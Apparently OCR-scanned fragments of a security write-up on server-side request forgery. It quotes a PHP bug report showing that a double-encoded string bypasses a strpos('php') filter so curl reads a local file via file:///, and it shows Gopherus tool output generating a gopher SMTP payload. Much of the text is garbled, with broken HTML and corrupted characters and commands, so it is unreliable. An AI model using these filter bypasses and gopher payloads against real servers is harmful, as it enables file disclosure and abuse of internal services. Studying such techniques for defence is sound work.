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< !DOCTYPE html>
<! --STATUS OK--»

<html> |event

<body>
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</body>

</html>
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= strpos($x, "php");
if($pos){

exit("denied");

}
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https://bugs.php.net/bug.php?id=76671&edit=1

Description:
The bug is more related to when we send a string with encode to the strpos(), when we sent a string with double encode

we were able to bypass the verification, using %2576hp if the case is like strpos($string, "php")

Test script:

$x = $_GET['x"']; //?x=Ffile:///var/wuw/html/readme.%2578hp
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);

echo $result;

Expected result:

<?*php
//readme
i
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+ python gopherus.py --help

explo xpPl 0


https://bugs.php.net/bug.php?id=76671&edit=1

nptinnal arguments:

s -help show this help m > and exit
B igﬂ loit EXPLOIT mysql, fastcgi, re smtp, zabbix, pymemcache,
rbmemcache, phpmemcache, dmpmemcache
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python gopherus.py --exploit smtp

Give Details to send mail:

from :
:  <gappp.gmail.com=
123
123

Your gopher link is ready to send Mail:

gBmzoagFmaEmDASub'cct:123%0AMessace:123%0A.
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